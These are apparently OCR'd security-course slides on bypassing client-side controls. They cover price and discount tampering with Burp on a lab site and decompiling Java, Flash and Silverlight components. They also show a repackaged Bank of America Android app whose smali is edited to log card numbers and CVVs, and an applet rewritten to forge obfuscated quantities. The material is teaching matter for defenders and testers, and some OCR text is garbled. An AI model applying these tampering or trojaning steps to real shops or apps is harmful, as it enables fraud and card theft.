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Clients Repeat Data

- It's common for a server to send data to
a client

- And for the client to repeat that same
data back to the server

- Developers often assume that the client
won't modify the data



Why Repeat Data”

- Avoids storing a lot of data within the user's
session; can improve performance

- An app deployed on many servers may not have
the required data available at each step

- Third-party components, such as shopping carts,
may be difficult to deploy without repeating data

- Getting approval to modify server-side API code
may be difficult and slow; storing data on the
client may be fast and easy



Hiaden Form Fields

i) attack.samsclass.info/hidden.htm c Q Search w B8

Sam Bowne

- Server sends Hidden Field
hidden price field Buy an iPhone!

to CI ient Price: 449
Qy: (I
| Submit

<form action="hiddenl.php" method="POST">

Qty: <input type="text" name="gty">

<input type="hidden" name="price" wvalue="449">
<p align="center">

<input type="submit" wvalue="Submit"></p>
</form>




Changing Price with Burp

Buying an iPhone!
ying \ Burp Intruder Repeater Window Help

~

& i) attack.samsclass.info/hiddenl.php Sequencer T Decoder T Comparer T Extender T Project options
Target T Proxy T Spider T Scanner T Intrug

Buying an iPhone! f Intercept T HTTP history TWebSockets history TOptions ]

Filter: Hiding CSS, image and general binary content

1 !

Congratulations! ¥ 4| Host Method | URL »:

1 http://attack.samsclass.info GET /
. 3 http://attack.samsclass.info GET /numlisten.htm

You bOllght 1 1Phone(s) for S 4 http:/ /ajax.cloudflare.com GET [cdn-cgi/nexp/cloudflare.js
5 http:/ /attack.samsclass.info GET /favicon.ico
6 http://ajax.cloudflare.com GET /cdn-cgi/nexp/cloudflare/badge.js
7 http://ajax.cloudflare.com GET /cdn-cgi/nexp/cloudflare/extra.js
8 http://attack.samsclass.info GET /hidden.htm
9 http://attack.samsclass.info POST /hiddenl.php
<« v

-
Original request T Edited request T Response ]

—, Raw I Params THeaders THex ]

POST request to /hiddenl.php

Type Name Value

Cookie __cfduid d9¢56d090ba7a8cde02df2adcce0fb34f1453389371
Cookie CF_STATUS active

Body qty 1

Body price 5




Cookie Fields

- Discount amount in cookie

POST request to /hidden2.php

Type - Name ' Value

Cookie __cfduid d9c56d090ba7a8cde02df2adcce0fb34f1453389371
Cookie CF_STATUS active

Cookie discount 10

Body qty 1

Body price 449




Demonstration

- Alter cookie value with Burp Repeater

Go

|" Raw | Params T Headers I Hex l

Target: http://attack.samsclass.info

lh Raw [ Headers [ Hex I HTML TRender ]

POST request to /hidden2.php

Type

Cookie
Cookie
Cookie

Body
Body

Name
__cfduid
CF_STATUS
discount
qty

price

Value

d9c56d090ba7a8cde02df2adccelfb...
active

100

1

449

Add

Remove

Up

Down

Buying an iPhone!

Congratulations!

You bought 1 iPhone(s) with a discount of 100




URL Parameters

< C )Y (@ attack.samsclass.info/hidden3.php?

No proxy
heeded

Just modify
the URL

Buying an iPhone!

Congratulations!

You bought 1 iPhone(s) for 449

aty

1&

price=449

& C ) (@ attack.samsclass.info/hidden

Buying an iPhone!

Congratulations!

You bought 1 iPhone(s) for 4

-~ -~ M A0 . ;
2 “},,‘,(, Rorice=:
LD TULY= TAPINICE




Hidden URL Parameters

-+ <img src="http:/foo.com?price=449">
- <iframe src="http://foo.com?price=449">

- <form action="http://foo.com?price=449"
method="POST">

- Pop-up windows or other techniques that hide
the URL bar

- All are unsafe; can be exploited with a proxy



Referer Header

- Shows the URL that sent the request

- Developers may use it as a security mechanism,
trusting it



Demo

l Go .' Cancel < |V >

Request

_[ Raw T Params T Headers T Hex ]

Target: http://attack.samsclass.info LIJ LZJ

Response

[ Raw T Headers T Hex T HTML T Render ]

GET /hiddend.php HTTP/1l.1

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
0S5 X 10.11; rv:46.0) Gecko/20100101
Firefox/46.0

Accept:
text/html,application/xhtml+xml,application/xm
1;9=0.9,%/%;9=0.8

Accept-Language: en-05,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://apple.com

Cookie:
__cfduid=d9c56d090ba7a8cdel2df2adcce0fb34£1453
389371; CF_STATUS=active

Connection: close

Buying an iPhone! r

Congratulations!

Y ou bought an iPhone(s) from apple.com!




Opaqgue Data

- Data may be encrypted or obfuscated

<form method="post" action="Shop.aspx?prod=4">
Product: Nokia Infinity <br/>

Price: 699 <br/>

Quantity: <input type="text" name="quantity"> (Maximum
quantity is 50)

<br/>

<input type="hidden" name="price" value="699">
<input type="hidden" name="pricing token"
value="E76D213D291B8F216D694A34383150265C989229">
<input type="submit" wvalue="Buy">

</form>




Handling Opaque Data

- If you know the plaintext, you may be able to
deduce the obfuscation algorithm

- App may contain functions elsewhere that you
can leverage to obfuscate plaintext you control

- You can replay opaque text without deciphering it
- Attack server-side logic with malformed strings,

such as overlong values, different character sets,
etc.



ASP.NET ViewState

-+ A hidden field created by default in all ASP.NET
web apps

- This code adds a price to the ViewState

string price = getPrice(prodno);
ViewState.Add(“price”, price);



ViewState

- Form sent to the user will now look like this

<form method="post" action="Shop.aspx?prod=3">

<input type="hidden" name=" VIEWSTATE" id=" VIEWSTATE"
value="/WEPDWULLTE1ODcxXNjkwNjIPFgIeBXByaWN1BQMzOT1kZA=
=" />

Product: HTC Avalanche <br/>

Price: 399 <br/>

Quantity: <input type="text" name="quantity"> (Maximum
quantity is 50)

<br/>

<input type="submit" wvalue="Buy">

</form>




User Submits Form

- ViewState is Base64 Encoded

POST /shop/76/Shop.aspx?prod=3 HTTP/1.1
Host: mdsec.net

Content-Type: application/x-www-form-urlencoded
Content-Length: 77

_VIEWSTATE=%2FWEPDWULLTE1ODcxN]jkwNjIPFgIeBXByaWN1BQM-
zOT1kZA%$3D%3D&
quantity=1




Decoded ViewState

3D FF 01 OF OF 05 OB 2D 31 35 38 37 31 36 39 30 ; =V..... -15871690
36 32 OF 16 02 1E 05 70 72 69 63 65 05 03 33 39 ; 62..... price..39
39 64 64 ; 9dd

Burp contains a ViewState parser (nhext slide)

Some ASP.NET apps use MAC protection
A 20-byte keyed hash at the end of the
ViewState structure




nqndb hitp/mdsec.net80 [172.16.50.12“

I.m.JL.a_I_L.a_I

¢ ViewState v2.0 compatible Mbmm
¢ Pair
¢ Pair
— string -1587169062
¢ Pair

¢ List
~ string pnce




= ML Forms

<big><b>Buy an iPhone!</b></big><p>
Price: 449<p>

<form action="hidden5.php" method="P0OST">
Qty: <input type="text" name="qty" maxlength="1">

<p align="center">

<input type="submit" value="Submit"></p>

</form>

Only allows one
character

Intending to set max. of
9

S. Length Limit

Buy an iPhone!

Price: 449

- [
| Submit




Defeated with a Proxy

| Go J Target: http://attack.samsclass.info

)oNn s

| Raw | Params THeaders THex ] (Raw T Headers THex THTML T Render I

POST request to /hidden5.php

Buying an iPhone!
Type | Name Value : Add
Cookie __cfduid d9c56d090ba7a8c...

Cookie CF_STATUS  active .
Body  qty 99 AR Congratulations!

Y ou bought 99 1Phone(s)




Refreshing a Page

If you see a 304 server response like this

Page not sent from server, because browser has
already cached it

Etag string Is a sort of version number

HTTP/1.1 304 Not Modified

Date: Mon, 26 Sep 2016 13:47:02 GMT
Connection: close

ETag: "8e6-53d693f4a8la3”

Server: c¢loudflare-nginx

CEF-RAY: 2e872abef6065438-LAX




[I-Modified-Since:

- Browser sent a request like this

- May also use "If-None-Match" header

GET /hidden.htm HTTP/1.1

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.11; rv:46.0) Gecko/20100101 Firefox/46.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9
¥/ % g=0.8

Accept-Language: en-0S,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://attack.samsclass.info/

Cookie:

__c¢fduid=d9c56d090ba’/a8cde02df2adcce0fb34£1453389371;
CF_STATUS=active

Connection: close

If-Modified-Since: Mon, 26 Sep 2016 13:38:46 GMT

Cache-Control: max-age=0




Forcing a Full Reload

- Use Shift+Refresh in browser

- Use Burp to remove the "If-Modified-Since" and

"If-None-Match" headers



Script-Based Validation

<script>function validateForm(theForm) {
var q = document.forms["myForm"] ["gty"].value;

if (q > 5) {
alert("Qty too large!");
return false;
+
}

</script>

<form name="myForm" action="hidden6.php"
method="POST" onsubmit="return validateForm()">
Qty: <input type="text" name="qty"> (max. 5)

<p align="center">

<input type="submit" value="Submit"></p>
</form>




Defeated with Burp

Replace value after script runs

Could also disable JavaScript, or modify the script

& Target: http://attack.samsclass.info “) |7

| Raw | Params THeaders THex ] (RawTHeaders THex THTML TRender ]

POST request to /hidden6.php . . . A
T = 6. Script-Based Validation T
| Add
Cookie __cfduid d9c56d090ba7a8cde02df2a... ——
Cooki CF_STATUS ti .
B;’;’y"" aty A i Congratulations!
Up -
Y ou bought 6 iPhone(s)
Down
Goal: buy 6 phones!




T1ps

- Where JavaScript is used for input validation

- Submit data that would have failed validation

- Using a proxy, or with modified source code

- Determine whether validation is also performed
on the server

- If multiple fields are validated, enter valid data in
all fields except one at a time, to test all the cases



Proper Use

- Client-side validation can improve performance
and user experience

- Faster response and no wasted server time on
invalid entries

- But the validation cannot be trusted and must

be repeated on the server



Disabled Elements

<form action="hidden7.php" method="POST">
Qty: <input type="text" name="qty'><p>
Price: <input type="text" disabled="true"
name="price" value="449">

<p align="center">

<input type="submit" value="Submit"></p>
</form>




Disabled Elements

-+ Cannot be changed

- Not sent to server

POST /hidden7.php HTTP/1.1

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.11; rv:46.0) Gecko/20100101 Firefox/46.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.
9,%/%;q=0.8

Accept-Language: en-0S,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://attack.samsclass.info/hidden.htm
Cookie:
__cfduid=d9c56d090ba’a8cdel2df2adcce0fb34£1453389371
; CF_STATUS=active

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 5

qty=1




Add Parameter in Burp

- Use Add button to insert the disabled field

- It may still be used on server-side

Go Target: http://attack.samsclass.info ) |7

| Raw | Params THeaders THex ] [ RawTHeaders T Hex T HTML TRender ]

POST request to /hidden7.php . . A

. - . 7. Disabled Field r
ype ame Value Add |

Cookie __cfduid d9¢56d090ba7a8¢cd... —

Cookie CF_STATUS active

Body  qty 1 S AR, Purchase Complete!

Body price 50 Up |

Y ou bought 1 iPhone(s) for 50
Down |

Goal: buy a phone for $50!




Burp Response Modification

Burp Intruder Repeater Window Help

, Target TProxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder F

( Intercept T HTTP history TWebSockets history TOptions ]

|2| Response Modification

LQ) These settings are used to perform automatic modification of responses.

(Y] Unhide hidden form fields
(Y] Prominently highlight unhidden fields
(/] Enable disabled form fields
(Y] Remove input field length limits
(VY] Remove JavaScript form validation
L) Remove all JavaScript
L) Remove <object> tags
() Convert HTTPS links to HTTP

() Remove secure flag from cookies




Form IS Easy to Hack

€& 9 () attack.samsclass.info/hidden.htm & | Q search w B8 O

Sam Bowne

1. Hidden Field

Buy an iPhone!

Price: 449

Quy: [
Hidden field [price| puuuums
Suomit

Goal: buy a phone for $50!




Browser Extensions

- Flash or Java client-side routines can collect

and process user input

- Internal workings are less transparent than
HTML forms and JavaScript

- But still subject to user modification



Example: Casino App

- Client could

- Tamper with game state to gain an advantage

- Bypass client-side controls to perform illegal
actions

-+ Find a hidden function, parameter, or resource to
gain illegitimate access to a server-side resource

- Receive information about other players to gain
an advantage



Common Browser Extensions

- Java applets, Flash, and Silverlight
- All have these features
- Compiled to bytecode

- Execute in a virtual machine that provides a
sandbox

- May use remoting frameworks employing
serialization to transmit complex data
structures or objects over HTTP (link Ch5c)



Java

- Java applets run in the Java Virtual Machine
(JVM)

- Sandboxed by Java Security Policy



Flash

- Runs in Flash virtual machine

- Sandvoxed from host computer

- ActionScript 3 adds remoting capability with
Action Message Format (AMF) serialization



Silverlight

- Microsoft's alternative to Flash

- Provides a scaled-down .NET experience within
the browser

- In a sandboxed environment

- Apps most commonly written in C#, but other
languages like Python can be used



Approaches to Browser
Extensions

- Intercept requests and responses in a proxy
- May be obfuscated or encrypted
- Cannot explore all business logic

- Decompile bytecode and read source, or run it
in a debugger

- Time-consuming and requires detailed
understanding of the technologies and
programming languages used



Intercepting Traffic from
Browser Extensions

- Allows you to defeat server-side controls, same
as earlier in this chapter

- Serialized data may be tricky to modify

- Must unpack it, edit it, and repack it correctly



Java Serialization

Content-Type: application/x-java-serialized-object

- Content-type header indicates serialized data

- DSer is a Burp plug-in handles such data



DSer in Action

onginal request

edited request response

raw params

headers hex
FPOST /Testwvebapp/test HTTP/1.1
Content~Type: application/x~-Jjava-serialized-ohject
Cache-Control: no-cache

no-cache

Pragma:

User-Agent: Nozilla/4.0 (Windows 7 £.1) Jdava/l.6.0 21
Hosu: vulnserver:8080
Accept: text/html, 1mage/gif, image/Jpeqg, *; g=.2, */*: q=.2

FProxy~Connection: keep-alive
JoESSIONID=2BFe3 L 7UEASAFE424 13 ALCETDE

Content-Length: 234

Cookie:

-100sr009ava.util. HashMapCOUAAD " NDCOCFD

loadFaccor IO

thresho ldxp ?R00C0O00VCO00DOCO00tC0OkeyTwourCO[Lyava, lang. Sctring:

( GOOOx»000c00ManishtU0Saindanec

LavakumartOOKuppantODike yOne sc~00 22000000 «0D0C0000C0 00 hmKe v L ofd
ChmBeyoqll-Clxx

.:..V.I:‘ el

Enter the test data

Manish

=
-

aindane

Andlabs

HashMap Array Both

Oultput

Complex Hash Map values are
Inner Array
0] = Manish

= Samndane

N -

= Lavakumar
(3] = Kuppan

Inner HashMap
hmKey1 == Manish

nmKey?2 => Saindans

- Raw request on left, unpacked version on

- Link Ch 5d

right




Flash Serialization

Content-Type: application/x-amf

-+ Content-type header

- Burp natively handles AMF format



@ burp suite professional v1.2.14 ﬁ B ™ (o[ S|
burp intruder repeater window help . _ .
target | proxy | spider | scanner | intruder mudocoﬂmopﬁomm

w cancal host  |www myapp com

< > port (443 v] use SSL
§ request
| raw | params | headers | hex
| type value
& AMF version 0 -
¢~ &3 body 0
- a target string LoginHandier
a response string I
-~ a response method string LoginHandler
¢ [] data array
— a [0) string user
assword
2 null
B boolean false
~ 1 4 number 10
1108 number 1.4817498139431134E16
—1 6 number 390
107 number 20
(8] null
o [] (9 arnay ~
response
hex
-~
-

L2l 0 matches




Silverlight Serialization

Content-Type: application/soap+msbinl

- Uses two instances of Burp (Link Ch 5e)

Silverlight Client WCF Service
A u
v v
Burp Proxy 1 . Burp Proxy 2

> P, 3
* Decode & Edit Requests < < * Decode & Edit Responses
» Encode Edited Responses » Encode Edited Requests

Attacker



Obstacles to Intercepting
Traffic from Browser Extensions

- Some requests may bypass the proxy settings
in your browser

- Components may issue their own HTTP
requests, outside browser APIs

- Solution: modify hosts file and use invisible
proxying



Obstacles to Intercepting Traffic
from Browser Extensions

- Client component may reject the SSL certificate
from the proxy

- Because browser extension does not pick up

browser's configuration for temporarily trusted
certificates

- Or component is programmed not to accept
untrusted certificates

- Solution: set proxy to use a master CA
certificate; install in your trusted certificate store



Obstacles to Intercepting
Traffic from Browser Extensions

- Client uses a non-HTTP protocol
- You can use a shiffer like Wireshark
- Or a function-hooking tool like Echo Mirage

- Can inject into a process and intercept its calls to
socket APIs

- S0 you can modify data before it's sent over the
network

- But it seems to be gone



Tips
- Ensure that your proxy is correctly intercepting
all traffic; check with a sniffer

- Use appropriate serialization unpacker

- Review responses from the server that trigger
client-side logic; you may be able to unlock the
client GUI to reveal privileges actions

- Look for correlation between critical actions
and communications with the server

- Does rolling the dice in a gambling app take
place on server or client?



Decompiling Browser
EXtensions

- Most thorough method

- Extensions are compiled into bytecode

- High-level platform-independent binary
representation

- Some apps use defensive measures to
obfuscate bytecode



Downloading the Bytecode

- Find link to bytecode in HTML source code
- Java applets generally use <applet> tag
- Others use <object> tag

- Once you find the URL, put it in browser
address bar to donload the bytecode

<applet code="CheckQuantity.class" codebase="/scripts"”
id="CheckQuantityApplet">
</applet>



Downloading the Bytecode

- If URL is not easy to find, look in proxy history
after loading the app

- Some proxies filter the history to hide items
such as images and style sheet files; the object
might be filtered

- Browsers cache bytecode aggressively, and
even a full refresh won't request component
again

- Must clear cache and restart browser



Tip
If you have identified the request for the bytecode in your Burp Proxy
history, and the server's response contains the full bytecode (and not a
reference to an earlier cached copy), you can save the bytecode directly to file

from within Burp. The most reliable way to do this is to select the Headers
tab within the response viewer, right-click the lower pane containing the

response body, and select Copy to File from the context menu.



Decompiling the Bytecode

- Java applets are usually .jar files

- Containing .class files with bytecode
- Silverlight objects are .xap files
-+ Containing .dll files with bytecode

- Both are Zip archives; rename them to .zip and
unzip them with any unzip utility

- Flash objects are .swf files; no unpacking required



Decompillers

- Jad for Java (link Ch 5f)

- For Flash: Flasm or Flare (links Ch 5g, 5h)
- SWFScan was bundled into Weblnspect
- 15-day trial at link Ch 5i

- Silverlight: use .NET Reflector

- Free trial at link Ch 5j



Example: Bank of America
Android App

- Pull from phone with adb

- Unpack with apktool

e e e e e s sambowne Sun Feb 01 07:10:02

~ $cd Downloads/
. . Sambowne Sun Feb 01 07:10:13

Downloads $Java -jar apktool_2.0.0rc3.jar d app-release.apk

: Using Apktool 2.0.0-RC3 on app-release.apk

: Loading resource table.

: Decoding AndroidManifest.xml with resources...

: Loading resource table from file: /Users/sambowne/Library/apktool/framework/1.apk

: Regular manifest package...

: Decoding file-resources...

: Decoding values */* XMLs...

: Baksmaling classes.dex...

: Copying assets and libs...

: Copying unknown files...

: Copying original files...

HHHHHHHHHHH

e e e s sambowne Sun Feb 01 97:10:24
Downloads $




Flles and Folders

- Unpacked app is many .smali files (Android
Java bytecode)

(] accounts > Gl a > [ common "5 br.smali

(] alerts =7 a.smali (] enrollments " 7 bs.smali

(] auth =[] activities ~ [ forgotflows " 5 bt.smali

(] bba * [ app > @l pcr * 9 bu.smali

(] billpay > (@ b * (] signin b BusCcDetailsActivity.smali
(] coachmarks ® 7 b.smali (] splash " bv.smali

(] deals > @l b - bw.smali

|| deposits 7 csmali - bx.smali

| | helpandsettings > g d » ~ by.smali

(] locations * 7 d.smali - bz.smali

] marvel * 7 e.smali - c.smali

(] servicelayer m 5 f.smali - ca.smali

(] transfers = 7 g.smali ~ CancelActivity.smali

| h.smali ~ CancelReasonActivty.smali




Java v. Bytecode

public int performLogin(String server, String port, String username, String password)
throws JSONException, IOException, HttpException {
// First perform the RESTful operation
String protocol = mHttpsMode ? "https://" : "http://";
String url = protocol + server + ":" + port + "/login";
Map<Strina. Strino> parameters = new HashMap<~>();
parameters.put(“username”, username);

parameters.put(“password", password);

.method public performLogin(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/
. locals 10

.param pl, "server" # Ljava/lang/String;

.param p2, "port" # Ljava/lang/String;

.param p3, "username" # Ljava/lang/String;

.param p4, "password" # Ljava/lang/String;

.annotation system Ldalvik/annotation/lhrows;
value = {

Lorg/json/JSONException;,
Ljava/io/I0Exception;,
Lcom/securitycompass/androidlabs/base/HttpException;

}

.end annotation




Moditying smali Code

271 .method private 1()V

272 # CHANGED FROM 3 to 5 FOR TROJAN

273 . locals 5

274

275 .prologue

276 . line 185

277 new-instance v1, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;

278

279 invoke-direct {v1}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;-><init>()V

280

281 . line 186

282 iget-object v@, p@, Lcom/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity;—>w:Ljava/lang/Stri
283

284 invoke-virtual {vl1, v@}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;->setCardNumber(L
285

286 # EVIL TROJAN CODE

287] const-string v3, "BofA TROJAN CARD NUMBER"

288 invoke-static {v3, v@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

289 # END OF EVIL TROJAN CODE

290

309 . line 189

310 iget-object v@, p@, Lcom/bofa/ecom/auth/activities/enrollments/BusCcDetailsActivity;->x:Ljava/
311

312 invoke-virtual {v1, v@}, Lcom/bofa/ecom/servicelayer/model/MDAUserVerificationDetails;->setCvv
313

314 # EVIL TROJAN CODE

315 iconst-string v3, "BofA TROJAN CARD CVWV"

316 invoke-static {v3, v@}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
317 # END OF EVIL TROJAN CODE

318




Pack and Sign

: « « « « « sSambowne Sat Feb 07 06:37:18
com 1nfonow bofa-1 $java -jar ../../apktool_2.0.0rc3.jar b .
Using Apktool 2.0.0-RC3 on .
Checking whether sources has changed...
Smaling smali folder into classes.dex...
Checking whether resources has changed...
Building resources...
Copying libs...
Building apk file...
Copying unknown files/dir...

= == - - -

sambowne Sat Feb 07 06:39:04
com 1nfonow bofa-l $jarsigner -keystore ../../p9cert.jks ./dist/com.infonow.bofa-1.apk proj9key
Enter Passphrase for keystore:
jar signed.

warning:
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may n
r after the signer certificate's expiration date (2040-01-26) or after any future revocation date




Trojaned App Leaks Credit
Card Numbers

e OO0 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

l i ﬂ :‘\1’ ‘‘‘‘‘‘‘‘‘‘‘

Verify Using Business Credit Card

— . . sambowne Fri May 22 12:54:20
platform-too'l.s $ /adb logcat | grep TROJAN

E/BofA TROJAN CARD NUMBER( 7781): 1111222233334444
E/BofA TROJAN CARD CWV( 7781): 5555

Credit Card number

Card Expiration Date

Month 04 - April

Year 2019

3-4 Digit Security Code

Where do | find this?

Last 4 Digits of SSN/TIN

Cancel Continue




Working on the Client-Side
Source Code

- Input validation or other security-relevant logic
- Obfuscation or encryption

- "Hidden" functionality, not visible in user
interface

* You might be able to unlock it by modifying
code

- References to server-side functionality you
haven't already found via mapping



Recompiling

- For Java, use javac from the JDK

- For Flash, use flasm, or a Flash development
studio from Adobe

- For Silverlight, use Visual Studio

- For Java or Silverlight, zip the code and change
file extension to .jar or .xap



| oading Modifieo
Component into a Browser

- Find original component within the browser
cache and replace it

- Use a proxy to modify the source code of the
page that loads the component and specify a
different URL pointing to your modified
component

- Difficult--may violate same-origin policy



| oading Modifieo
Component into a Browser

- Use a proxy to intercept the response
containing the executable and replace the body
of the message with your modified version

- Burp has "Paste from File" option for this



® 0 Burp Suite Free Edition v1.7.03 - Temporary Project
Burp Intruder Repeater Window Help

| Target 1, Proxy ‘I Spider TScanner Tlntruder TRepeater TSequencer TDecoder TComparer TExtender TProject options TUser options TAlerts ]

_[ Intercept ] HTTP history TWebSockets history T Options ]

Response from http:/ /download.cdn.mozilla.net:80/pub/firefox/releases /49.0.1 /update/mac/en-US/firefox-49.0.1.complete.mar [165.254.27.82)

l folova J l il J [ Interceptis on ] l Action J Comment this item @ ?

_[ Raw 'T Headers T Hex ]

iTTP/1.1 206 Partial Content A
‘ontent-Type: application/octet-stream j:

t-amz-replication-status: COMPLETED

.ast-Modified: Fri, 23 Sep 2016 16:28:37 GMT

iTag: "9a83c0a8807d21051d4870b781b0el67"
t-amz-version-id: X6H)EVS51KJIE.hlAS5wsQExXN.s8_yé6doi
iccept-Ranges: bytes

jerver: AmazonS3

(-Amz=-Cf-XId: Z3ieundIX17yBneNAPbInMEmEsHMCbULLVvEh TWMTbwzFvPB8rvalxhww
Jato: Mon, 26 Sep 2016 17:57:29 GMT

‘ontent-<Range: bytes 19500000-19799999/82521231
lontent-Length: 300000

onnection: close

15090 9000 @ end 1o spider 1Or OO0 00050 53/ Pcnagu.+ @ FRIGOVO( (09O @
w )
OO0 |g(0 © Do an active scan

P00/ 001 05 0@ Do a passive scan
© OLO0( A

Send to Intruder BT 535008 2127 ({© €0y, € qw021-10L3€1€0; .2 Q1 1100000 6= €000E
RIS Send to Repeater X+~+R
A : Send to Sequencer (0t 9VOOOO-- 000 €6 110-0:000 10 000 029
Dr ©9,566 Gut {  Send to Comparer 18 T000300:20007) & 5100 Or/a_L)n+® 506 ©)=vi
W A AG AL Send to Decoder

. -wqomo 0O 06_00
N“ o= Show response in browser 4 oow,puggochwoow w1001, Ove © 030\:10001!““
i Q< ¢ ©O0OC0O 600’! E {\

e R . > 0%00 > ©-|cO0 000000 cOno=00 nm;3 {

Engagement tools [Pro version only) I

Copy URL Oson OOHO002,vx 00001000 500020020005 o

Copy as curl command rbod€©

QOTOOLO 000,410V 0000Or 00,00
(920} hy@ue n® ©OOO v pOc €i0€ |L°

~ ab A _As PN a~SL B - ema A AM S _AANLA A .. ol -

Copy to file

Paste from file
Save item '\




Recompiling and Executing
Qutside the Browser

- Modify app to run as a standalone program

- For Java, just implement a "main" method



Manipulating the Original
Component using JavaScript

- Using a proxy, intercept and edit responses

- To add JavaScript that unlocks hidden parts of
the interface



Bytecode Obfuscation

Difficult to read

package myapp.interface;

import myapp.class.public;
import myapp.throw.throw;
import if.if.if.if.else;

import java.awt.event.KeyEvent;

public class double extends public implements strict

{
public double(j jl)

{
_mthif();
_fldif = j1;
}
private void _mthif(ActionEvent actionevent)
{
~mthif(((KeyEvent) (null)));
switch(_fldif. mthnew(). fldif)
{
case 0:
_fldfloat.setEnabled(false);
_fldboolean.setEnabled(false);
_fldinstanceof.setEnabled(false);
_fldint.setEnabled(false);
break;




Obfuscation Methods

- Meaningful names replaced with meaningless
expressions suchas a, b, c, ...

- Replace names with reserved keywords such as
"new" and "Int"

- Most VMs tolerate such technically illegal
code, but it cannot be recompiled



Obfuscation Methods

- Strip unnecessary debug and meta-information
from bytecode, such as

- Source filenames and line numbers
- Local variable names

- Inner class information

- Add redundant code that confuses the reverse

engineer



Obfuscation Methods

- Modify path of execution, make it convoluted
-+ Using "jump"” instructions

- Add illegal programming constructs

- Unreachable statements

- Missing "return" statements

- VMs tolerate them, but decompiled source
cannot be recompiled without correcting them



T1ps

- Some components will remain readable even if
source Is obfuscated, such as methods called
from JavaScript

- Many Integrated Development Environments
(IDE's) can make code more readable by
"refactoring” it (link Ch 5k)

- Running code through an abfuscator a second
time can remove a lot of the obfuscation (see
JODE, link Ch 5I)



Example: Shopping Java
Applet

- This portion of the code defines a hidden field
named "obfpad”

<form method="post" action="Shop.aspx?prod=2" onsubmit="return
validateForm(this) ">

<input type="hidden" name="obfpad"
value="k1GSB8X9x0WFv9KGgilePdgaxHIsUS5RnojwPdBRgZuiXSB3TgkupaFigj
UQOmB8CIPS5HIXpidrPOuQPw630gZ2vbyiOevPrkxFiuUxA8Gn30olep2Lax6IyuyEU
D9SmG7c">



Example Continued

- JavaScript validator

<script>
function validateForm(theForm)

{

var obfquantity =

document.CheckQuantityApplet.doCheck
theForm.quantity.value, theForm.obfpad.value);
if (obfquantity == undefined)

{

alert('Please enter a valid quantity.');
return false;

}

theForm.quantity.value = obfquantity;
return true;

}

</script>



Example Continued

- This code loads the Java applet
"CheckQuantity.class"

<applet code="CheckQuantity.class" codebase="/scripts" width="0"
height="0"
id="CheckQuantityApplet"></applet>
Product: Samsung Multiverse <br/>
Price: 399 <br/>
Quantity: <input type="text" name="quantity"> (Maximum quantity is 50)
<br/>
<input type="submit" wvalue="Buy">
</form>



Example Continued

- Form is submitted with quantity of 2
- It sends this POST request

- quantity is obfuscated

POST /shop/154/Shop.aspx?prod=2 HTTP/1l.1

Host: mdsec.net

Content-Type: application/x-www-form-urlencoded
Content-Length: 77

obfpad=k1GSB8X9xX0WFvI9KGgilePdgqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5
HIxpidrPOuQ
Pw630gZ2vbyiOevPrkxFiuUxA8Gn30olep2Lax6IyuyEUDISmG7c&quantity=4b282c510f
776a405£465

877090058575£445b536545401e4268475e105b2d15055¢5d5204161000



Download Applet and
Decompile with Jao

/scripts/CheckQuantity.class

C:\tmp>jad CheckQuantity.class

Parsing CheckQuantity.class...The class file version is 50.0 (only 45.3,
46.0 and 47.0 are supported)

Generating CheckQuantity.jad

Couldn't fully decompile method doCheck

Couldn't resolve all exception handlers in method doCheck



Decompiled Java

- Header

// Decompiled by Jad v1.5.8f. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html

// Decompiler options: packimports(3)

// Source File Name: CheckQuantity.java

import java.applet.Applet;

public class CheckQuantity extends Applet

{
public CheckQuantity()

{
}



Decompiled Java

- Verifies tha qty is between 0 and 50

- Prepares a string to hold obfuscated text

public String doCheck(String s, String sl)

{

int 1 = 0;
1 = Integer.parselInt(s);
if(i <=0 || i > 50)
return null;
break MISSING BLOCK LABEL 26;
Exception exception;
exception;
return null;
String s2 = (new StringBuilder()).append("rand=").append

(Math.random()) .append("&g=").append(Integer.toString(i)) .append
("&checked=true").toString();

new StringBuilder();

StringBuilder stringbuilder



Decompiled Java

- XORs text with obfpad

for(int j = 0; j < s2.length(); j++)
{

String s3 = (new StringBuilder()).append('0').append
(Integer.toHexString((byte)sl.charAt((J * 19 + 7) % sl.length()) ~
s2.charAt(j))).toString();

int k = s3.length();

if(k > 2)

s3 = s3.substring(k - 2, k);
stringbuilder.append(s3);
}

return stringbuilder.toString();



Modified Applet

- Remove input validation from "doCheck"

- Add a "main" method that calls "doCheck" and

prints the obfuscated resulit

- Code on next page outputs obfuscated string
for quantity of 999

- Try various values, including strings, to find
vulnerabilities



public class CheckQuantity
{

public static void main(String[] a)
{
System.out.println(doCheck("999",
"k1GSB8X9x0WFvI9KGgilePdgaxHIsUSRnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5HIXpi
drPOuQPw630gZ2vbyiOevPrkxFiuUxA8Gn30olep2Lax6IyuyEUD9 SmG7c"));

}

public static String doCheck(String s, String sl)
{

String s2 = (new StringBuilder()).append("rand=").append
(Math.random()).append("&g=").append(s) .append
("&checked=true").toString();

StringBuilder stringbuilder = new StringBuilder();

for(int j = 0; j < s2.length(); j++)

{

String s3 = (new StringBuilder()).append('0').append
(Integer.toHexString((byte)sl.charAt((j * 19 + 7) % sl.length())
s2.charAt(j))).toString();

int k = s3.length();

